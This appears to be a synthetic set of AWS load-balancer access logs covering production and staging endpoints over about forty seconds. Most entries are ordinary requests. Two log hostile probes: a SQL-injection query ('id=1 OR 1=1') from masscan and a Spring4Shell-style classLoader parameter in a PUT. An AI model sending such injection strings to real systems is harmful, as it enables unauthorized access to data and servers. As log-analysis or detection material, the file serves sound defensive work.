"10.0.2.191:443" "200" "-" "-" -https 2024-11-01T00:10:57.251382Z prod-web-alb 104.186.194.134:32736 10.0.235.42:443 0.011413 0.459873 0.064222 302 302 303 4739 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba21-d04f7877de2b4b3b9e2fa48c" "prod-web-alb.example.com" "-" 9 2024-11-01T00:10:57.251382Z "forward" "-" "-" "10.0.235.42:443" "302" "-" "-" -http 2024-11-01T00:10:59.048465Z staging-alb 252.20.217.34:47995 210.138.15.49:8080 0.096005 0.130068 0.112332 200 200 152 966 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba23-b0cdb6413f9148c8980ab987" "staging-alb.example.com" "-" 8 2024-11-01T00:10:59.048465Z "forward" "-" "-" "210.138.15.49:8080" "200" "-" "-" -http 2024-11-01T00:11:00.379378Z staging-alb 149.92.101.192:51458 56.112.224.162:80 0.004932 0.305515 0.017126 200 200 700 8471 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba24-9494c747d40540c3b6cc9775" "staging-alb.example.com" "-" 6 2024-11-01T00:11:00.379378Z "forward" "-" "-" "56.112.224.162:80" "200" "-" "-" -https 2024-11-01T00:11:01.265331Z staging-alb 185.181.76.214:23981 49.117.98.217:80 0.088428 0.047122 0.084260 500 500 189 12830 "POST /users?id=1 OR 1=1 HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba25-a00caf8ffab54eb4b19ca6fb" "-" "-" 5 2024-11-01T00:11:01.265331Z "forward" "-" "-" "49.117.98.217:80" "500" "-" "-" -https 2024-11-01T00:11:01.576860Z staging-alb 53.159.210.71:11611 222.36.236.222:80 0.036672 0.567887 0.056708 302 302 622 13278 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba25-1313a2b9d3164968aae75bcc" "staging-alb.example.com" "-" 10 2024-11-01T00:11:01.576860Z "forward" "-" "-" "222.36.236.222:80" "302" "-" "-" -https 2024-11-01T00:11:02.513382Z staging-alb 50.150.83.123:35755 92.39.185.155:80 0.019282 0.745513 0.075150 200 200 171 13180 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba26-ed6ae1d167e746e2a021fe25" "staging-alb.example.com" "-" 8 2024-11-01T00:11:02.513382Z "forward" "-" "-" "92.39.185.155:80" "200" "-" "-" -https 2024-11-01T00:11:03.909830Z prod-api-alb 189.199.200.58:11131 10.0.206.77:443 0.031600 0.086513 0.030923 200 200 158 814 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba27-2c3e5ae8f4b94943bd1f7325" "prod-api-alb.example.com" "-" 8 2024-11-01T00:11:03.909830Z "forward" "-" "-" "10.0.206.77:443" "200" "-" "-" -http 2024-11-01T00:11:04.130876Z staging-alb 79.95.202.76:13205 176.245.244.43:8080 0.077933 0.713614 0.134987 302 302 701 7597 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba28-7fd4d915936d447e958e40af" "staging-alb.example.com" "-" 5 2024-11-01T00:11:04.130876Z "forward" "-" "-" "176.245.244.43:8080" "302" "-" "-" -https 2024-11-01T00:11:04.262386Z prod-api-alb 85.180.198.160:19953 10.0.122.91:443 0.064663 0.054684 0.035678 404 404 937 5918 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba28-4648fea2831146168c29d0ba" "prod-api-alb.example.com" "-" 7 2024-11-01T00:11:04.262386Z "forward" "-" "-" "10.0.122.91:443" "404" "-" "-" -https 2024-11-01T00:11:06.026352Z staging-alb 195.90.29.208:21854 181.72.193.20:80 0.145515 0.315627 0.074886 200 200 575 9566 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba2a-26d083ceb6ee4decb3a47efe" "staging-alb.example.com" "-" 2 2024-11-01T00:11:06.026352Z "forward" "-" "-" "181.72.193.20:80" "200" "-" "-" -https 2024-11-01T00:11:07.236962Z staging-alb 181.46.211.153:13297 227.177.228.241:443 0.143496 0.598961 0.087336 200 200 326 11028 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba2b-561eccb679a6468980bf714d" "staging-alb.example.com" "-" 0 2024-11-01T00:11:07.236962Z "forward" "-" "-" "227.177.228.241:443" "200" "-" "-" -https 2024-11-01T00:11:09.120916Z prod-web-alb 192.181.71.106:51493 10.0.150.72:443 0.083324 0.300681 0.016327 302 302 147 12799 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba2d-76cb5e11d7294713b0fc4a72" "prod-web-alb.example.com" "-" 4 2024-11-01T00:11:09.120916Z "forward" "-" "-" "10.0.150.72:443" "302" "-" "-" -https 2024-11-01T00:11:09.635863Z prod-api-alb 47.83.12.128:37914 10.0.132.61:443 0.088032 0.116828 0.063760 200 200 691 5504 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba2d-16c2e3deedaa4443831245a9" "prod-api-alb.example.com" "-" 7 2024-11-01T00:11:09.635863Z "forward" "-" "-" "10.0.132.61:443" "200" "-" "-" -http 2024-11-01T00:11:10.417651Z staging-alb 89.145.131.244:59696 113.16.49.142:443 0.041140 0.352708 0.038418 404 404 217 2176 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba2e-606d0005760f4b74a4968d43" "staging-alb.example.com" "-" 8 2024-11-01T00:11:10.417651Z "forward" "-" "-" "113.16.49.142:443" "404" "-" "-" -https 2024-11-01T00:11:11.080929Z prod-api-alb 43.122.151.202:48982 10.0.78.249:443 0.027146 0.155563 0.008978 302 302 704 12867 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba2f-ea6a0f215bd94a728b72f6eb" "prod-api-alb.example.com" "-" 7 2024-11-01T00:11:11.080929Z "forward" "-" "-" "10.0.78.249:443" "302" "-" "-" -https 2024-11-01T00:11:11.845655Z prod-web-alb 177.78.100.138:17304 10.0.49.83:443 0.042028 0.231039 0.037885 404 404 770 581 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba2f-f9449443c2cb408f82ff8c61" "prod-web-alb.example.com" "-" 2 2024-11-01T00:11:11.845655Z "forward" "-" "-" "10.0.49.83:443" "404" "-" "-" -https 2024-11-01T00:11:13.052557Z prod-api-alb 45.155.205.243:41967 10.0.157.4:443 0.032697 0.322616 0.052983 403 403 167 1862 "PUT /path?class.module.classLoader.URLs%5B0%5D=0 HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba31-1a93c0cfe55c41c1a52737dc" "-" "-" 2 2024-11-01T00:11:13.052557Z "forward" "-" "-" "10.0.157.4:443" "403" "-" "-" -https 2024-11-01T00:11:13.170338Z prod-api-alb 219.109.28.138:15294 10.0.205.164:443 0.023813 0.138853 0.018754 200 200 972 6395 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba31-ae89207a81014e37b81ebaf7" "prod-api-alb.example.com" "-" 1 2024-11-01T00:11:13.170338Z "forward" "-" "-" "10.0.205.164:443" "200" "-" "-" -https 2024-11-01T00:11:14.412645Z prod-web-alb 122.93.129.155:13151 10.0.51.130:443 0.096516 0.337771 0.038781 404 404 418 8029 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba32-60fff75e02ff488bb7f7fb5c" "prod-web-alb.example.com" "-" 3 2024-11-01T00:11:14.412645Z "forward" "-" "-" "10.0.51.130:443" "404" "-" "-" -https 2024-11-01T00:11:15.183462Z prod-web-alb 42.115.135.161:15692 10.0.172.164:443 0.003223 0.064101 0.077275 200 200 536 1764 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba33-18863308b9f048adb57087d3" "prod-web-alb.example.com" "-" 0 2024-11-01T00:11:15.183462Z "forward" "-" "-" "10.0.172.164:443" "200" "-" "-" -https 2024-11-01T00:11:16.788356Z prod-api-alb 78.17.201.119:45234 10.0.10.149:443 0.017246 0.227473 0.009837 200 200 999 14878 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba34-d9b9bae1ba124658b7780676" "prod-api-alb.example.com" "-" 9 2024-11-01T00:11:16.788356Z "forward" "-" "-" "10.0.10.149:443" "200" "-" "-" -https 2024-11-01T00:11:18.370576Z prod-api-alb 45.218.230.56:57839 10.0.104.157:443 0.090673 0.044596 0.086797 404 404 741 5482 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba36-5a61a7ff257a44c58a899918" "prod-api-alb.example.com" "-" 7 2024-11-01T00:11:18.370576Z "forward" "-" "-" "10.0.104.157:443" "404" "-" "-" -https 2024-11-01T00:11:18.896261Z prod-web-alb 219.189.186.87:47169 10.0.238.29:443 0.091197 0.494573 0.036089 301 301 875 9587 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba36-c1a681de02644d3a8d5facdd" "prod-web-alb.example.com" "-" 0 2024-11-01T00:11:18.896261Z "forward" "-" "-" "10.0.238.29:443" "301" "-" "-" -https 2024-11-01T00:11:20.176830Z prod-api-alb 167.20.253.140:48446 10.0.127.47:443 0.003275 0.373944 0.029784 302 302 191 623 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba38-a5cc7184def047b78b9eea73" "prod-api-alb.example.com" "-" 5 2024-11-01T00:11:20.176830Z "forward" "-" "-" "10.0.127.47:443" "302" "-" "-" -https 2024-11-01T00:11:21.505469Z prod-web-alb 123.121.191.108:35498 10.0.130.29:443 0.026487 0.038166 0.088579 200 200 816 14655 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba39-ab80e4cde1754aaf9b7296ae" "prod-web-alb.example.com" "-" 2 2024-11-01T00:11:21.505469Z "forward" "-" "-" "10.0.130.29:443" "200" "-" "-" -https 2024-11-01T00:11:21.652675Z staging-alb 246.21.185.85:34194 149.53.49.176:8080 0.080709 0.008129 0.073181 301 301 728 2270 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba39-c65283856e6e4566b983f083" "staging-alb.example.com" "-" 6 2024-11-01T00:11:21.652675Z "forward" "-" "-" "149.53.49.176:8080" "301" "-" "-" -https 2024-11-01T00:11:22.742318Z prod-api-alb 197.241.251.63:48690 10.0.177.52:443 0.028026 0.217231 0.042290 200 200 42 12434 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba3a-b2e8435fe08f4638893de901" "prod-api-alb.example.com" "-" 9 2024-11-01T00:11:22.742318Z "forward" "-" "-" "10.0.177.52:443" "200" "-" "-" -https 2024-11-01T00:11:23.048899Z prod-api-alb 139.41.247.43:26509 10.0.52.129:443 0.027414 0.129721 0.004816 302 302 596 9502 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba3b-26536b9c646e4460a24fdcff" "prod-api-alb.example.com" "-" 0 2024-11-01T00:11:23.048899Z "forward" "-" "-" "10.0.52.129:443" "302" "-" "-" -https 2024-11-01T00:11:23.718802Z prod-api-alb 20.198.194.240:49194 10.0.93.161:443 0.059500 0.062888 0.095359 200 200 127 2135 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba3b-fe9bb3ab6f2f440f86a3cfea" "prod-api-alb.example.com" "-" 2 2024-11-01T00:11:23.718802Z "forward" "-" "-" "10.0.93.161:443" "200" "-" "-" -http 2024-11-01T00:11:25.659012Z staging-alb 172.139.247.92:21795 229.174.43.71:80 0.033816 0.356161 0.103311 302 302 88 2748 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba3d-6a375f165e8d4e4a99ff1b40" "staging-alb.example.com" "-" 7 2024-11-01T00:11:25.659012Z "forward" "-" "-" "229.174.43.71:80" "302" "-" "-" -https 2024-11-01T00:11:26.335789Z staging-alb 243.152.196.76:51112 189.65.249.46:8080 0.000763 0.620447 0.049137 302 302 260 2065 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba3e-97f46671d99d48ef81655f11" "-" "-" 7 2024-11-01T00:11:26.335789Z "forward" "-" "-" "189.65.249.46:8080" "302" "-" "-" -http 2024-11-01T00:11:28.328114Z staging-alb 208.66.21.172:11101 19.21.26.45:443 0.027726 0.030235 0.075285 200 200 738 833 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723ba40-224bbfc44667400c8e20dba7" "staging-alb.example.com" "-" 5 2024-11-01T00:11:28.328114Z "forward" "-" "-" "19.21.26.45:443" "200" "-" "-" -http 2024-11-01T00:11:28.565648Z staging-alb 139.22.61.236:23792 175.147.210.181:443 0.119540 0.523191 0.136368 301 301 615 8480 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba40-218a4090894e4e9092f1c90c" "staging-alb.example.com" "-" 3 2024-11-01T00:11:28.565648Z "forward" "-" "-" "175.147.210.181:443" "301" "-" "-" -https 2024-11-01T00:11:28.898569Z prod-api-alb 116.245.29.174:34509 10.0.58.207:443 0.015631 0.202864 0.074725 200 200 247 13232 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba40-46f2e7554a2340d49575769d" "prod-api-alb.example.com" "-" 3 2024-11-01T00:11:28.898569Z "forward" "-" "-" "10.0.58.207:443" "200" "-" "-" -https 2024-11-01T00:11:30.483186Z prod-web-alb 254.220.140.125:31938 10.0.79.223:443 0.069569 0.347984 0.025371 302 302 558 12294 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba42-b4769cbefbcc4b06add496ac" "prod-web-alb.example.com" "-" 6 2024-11-01T00:11:30.483186Z "forward" "-" "-" "10.0.79.223:443" "302" "-" "-" -https 2024-11-01T00:11:31.052703Z prod-api-alb 132.130.133.249:64141 10.0.39.212:443 0.068961 0.085988 0.010333 200 200 791 814 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723ba43-49ebf36e6cb04d62931ac560" "-" "-" 4 2024-11-01T00:11:31.052703Z "forward" "-" "-" "10.0.39.212:443" "200" "-" "-" -http 2024-11-01T00:11:32.475042Z staging-alb 12.227.15.5:28222 30.236.178.182:8080 0.084584 0.026332 0.052852 301 301 103 10739 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba44-17534f0e35c643de913f221e" "staging-alb.example.com" "-" 10 2024-11-01T00:11:32.475042Z "forward" "-" "-" "30.236.178.182:8080" "301" "-" "-" -https 2024-11-01T00:11:33.530004Z prod-web-alb 80.53.196.191:55217 10.0.196.124:443 0.067907 0.167998 0.037152 301 301 658 6146 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba45-11dd7ebd2fc64f1c82529861" "prod-web-alb.example.com" "-" 10 2024-11-01T00:11:33.530004Z "forward" "-" "-" "10.0.196.124:443" "301" "-" "-" -https 2024-11-01T00:11:33.845356Z prod-web-alb 15.213.0.182:60574 10.0.7.93:443 0.031636 0.027746 0.058761 200 200 414 1389 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723ba45-28df62d3b1fb4d49a206d98e" "prod-web-alb.example.com" "-" 1 2024-11-01T00:11:33.845356Z "forward" "-" "-" "10.0.7.93:443" "200" "-" "-" -https 2024-11-01T00:11:34.101362Z prod-api-alb 150.99.57.214:35904 10.0.147.4:443 0.067870 0.284844 0.064203 404 404 804 2372 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba46-93e1b21fc304463d8166fa2f" "prod-api-alb.example.com" "-" 2 2024-11-01T00:11:34.101362Z "forward" "-" "-" "10.0.147.4:443" "404" "-" "-" -https 2024-11-01T00:11:34.803075Z staging-alb 6.92.164.254:25992 207.106.80.183:80 0.050914 0.206238 0.136408 200 200 518 13304 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba46-04120c0d5c4d4024b12ad94d" "staging-alb.example.com" "-" 1 2024-11-01T00:11:34.803075Z "forward" "-" "-" "207.106.80.183:80" "200" "-" "-" -https 2024-11-01T00:11:35.779579Z prod-web-alb 4.6.184.20:18114 10.0.33.244:443 0.098461 0.400914 0.061194 301 301 731 13491 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba47-bbfe960ff25d4355811fe5c5" "prod-web-alb.example.com" "-" 5 2024-11-01T00:11:35.779579Z "forward" "-" "-" "10.0.33.244:443" "301" "-" "-" -http 2024-11-01T00:11:37.503884Z staging-alb 114.229.213.59:17387 65.28.245.108:8080 0.144007 0.233172 0.116898 301 301 294 2362 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723ba49-22a1b8bb087440c0839c3e04" "staging-alb.example.com" "-" 7 2024-11-01T00:11:37.503884Z "forward" "-" "-" "65.28.245.108:8080" "301" "-" "-" -https 2024-11-01T00:11:37.870383Z prod-api-alb 234.34.60.155:46018 10.0.116.87:443 0.059625 0.371889 0.083790 200 200 685 10954 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba49-91572138e2ef4bb9b7946341" "prod-api-alb.example.com" "-" 10 2024-11-01T00:11:37.870383Z "forward" "-" "-" "10.0.116.87:443" "200" "-" "-" -https 2024-11-01T00:11:38.864511Z prod-api-alb 83.74.1.218:37444 10.0.185.106:443 0.012849 0.398108 0.089078 200 200 182 7668 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723ba4a-50f87bd627394be0a18e373a" "prod-api-alb.example.com" "-" 6 2024-11-01T00:11:38.864511Z "forward" "-" "-" "10.0.185.106:443" "200" "-" "-" -https 2024-11-01T00:11:39.028762Z prod-web-alb 57.247.92.210:60166 10.0.206.150:443 0.078004 0.113007 0.082360 404 404 804 14320 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723ba4b-69d7e54d6c3746b7917ac4d9" "prod-web-alb.example.com" "-" 3 2024-11-01T00:11:39.028762Z "forward" "-" "-" "10.0.206.150:443" "404" "-" "-" -https 2024-11-01T00:11:40.132320Z staging-alb 165.246.156.240:21467 228.125.64.65:80 0.141919 0.197897 0.104386 200 200 189 3813 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" 